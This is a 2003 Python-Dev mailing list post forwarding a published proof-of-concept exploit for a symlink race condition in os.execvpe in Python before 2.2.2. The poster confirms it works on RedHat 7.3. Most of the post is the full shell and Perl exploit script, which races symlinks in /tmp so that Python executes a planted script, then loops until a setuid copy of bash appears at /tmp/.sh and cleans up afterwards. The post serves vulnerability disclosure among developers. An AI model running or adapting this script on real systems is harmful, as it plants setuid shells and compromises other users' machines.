[Python-Dev] FWD: Python execvpe symlink race condition.
logistix
logi.stix@verizon.net
Sun, 16 Feb 2003 18:22:32 -0500
Not to beat a dead horse, but the exploit code is published at:
http://www.ad2u.gr/index.php?topic=Exploits
It does work on my (unpatched vmware) RedHat 7.3. Although (as the
notice stated), it creates a suidshell as the user who runs the script,
not root. It also needs to be modified to use python2 on RedHat
Here's the code:
#!/bin/sh
echo "Python < 2.2.2 Symlink Race Condition exploit"
echo "Access-=-Denied Networks (c) mzozd@ad2u.gr, 2003"
echo "This is a proof of concept code!!! For educational purposes only"
evilcmd="#!/bin/sh\ncp /bin/bash /tmp/.sh\nchmod 4755 /tmp/.sh\n"
status="??"
echo "Creating suidshell script"
echo -e $evilcmd > /tmp/runme.sh
chmod 755 /tmp/runme.sh
perl -e 'while (1) { open ps,"ps -ef | grep -v grep | grep -v PID |";
while (<ps>) {@args = split " ", $_;if (/python/) {$args[2] = "@";
symlink("/tmp/runme.sh","/tmp/$args[2]$args[1].0");}}}'&
echo "Building python file..."
echo -e "import os\nos.execvpe('echo',['echo','-n','.'],os.environ)" >
/tmp/python.py
echo "Be patient, it will take a few moments"
while [ "$status" != "ok" ]
do
python /tmp/python.py
if test -e /tmp/.sh; then
status="ok"
fi
done
echo -e "\nYou got your suidshell..."
ls -al /tmp/.sh
echo "Cleaning environment"
killall -9 perl
rm -rf /tmp/runme.sh /tmp/*.0 /tmp/python.py